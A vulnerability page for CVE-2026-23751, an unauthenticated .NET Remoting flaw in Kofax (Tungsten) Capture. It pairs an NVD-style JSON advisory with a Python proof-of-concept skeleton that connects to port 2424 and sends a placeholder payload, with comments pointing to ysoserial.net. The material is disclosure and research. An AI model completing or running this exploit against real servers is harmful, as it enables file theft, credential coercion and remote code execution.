CVE-2026-23751

import socket import struct # PoC for CVE-2026-23751: Kofax Capture .NET Remoting Unauthenticated RCE # This script demonstrates the concept of connecting to the vulnerable port # and sending a payload to instantiate System.Net.WebClient. # Note: Generating a valid .NET Remoting serialized payload usually requires # a tool like ysoserial.net. TARGET_IP = "192.168.1.100" TARGET_PORT = 2424 # .NET Remoting generally starts with a specific handshake/preamble # This is a simplified structure for demonstration. def send_remoting_payload(ip, port, payload): try: print(f"[*] Connecting to {ip}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((ip, port)) # Send the malicious payload print(f"[*] Sending payload of length {len(payload)}...") s.sendall(payload) # Receive response response = s.recv(4096) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # In a real attack scenario, 'payload' would be a serialized .NET object # designed to instantiate System.Net.WebClient and perform an action. # Example command generation logic would go here. print("[!] This PoC requires a generated .NET Remoting payload to function.") print("[!] Use a tool like ysoserial.net with an appropriate gadget chain.") # Placeholder for the actual byte stream payload = b"\x00\x00\x00..." # send_remoting_payload(TARGET_IP, TARGET_PORT, payload)

{"cve": {"id": "CVE-2026-23751", "sourceIdentifier": "[email protected]", "published": "2026-04-23T16:16:24.463", "lastModified": "2026-04-24T14:50:56.203", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kofax Capture, now referred to as Tungsten Capture, version 6.0.0.0 (other versions may be affected) exposes a deprecated .NET Remoting HTTP channel on port 2424 via the Ascent Capture Service that is accessible without authentication and uses a default, publicly known endpoint identifier. An unauthenticated remote attacker can exploit .NET Remoting object unmarshalling techniques to instantiate a remote System.Net.WebClient object and read arbitrary files from the server filesystem, write attacker-controlled files to the server, or coerce NTLMv2 authentication to an attacker-controlled host, enabling sensitive credential disclosure, denial of service, remote code execution, or lateral movement depending on service account privileges and network environment."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-441"}]}], "references": [{"url": "https://docshield.tungstenautomation.com/Portal/Products/en_US/KC/11.1.0-40hy9nfk91/KC.htm", "source": "[email protected]"}, {"url": "https://gist.github.com/VAMorales/3888941d6e5efdd4b2e673e999f68ca2", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/kofax-capture-unauthenticated-file-read-write-smb-coercion-via-net-remoting", "source": "[email protected]"}]}}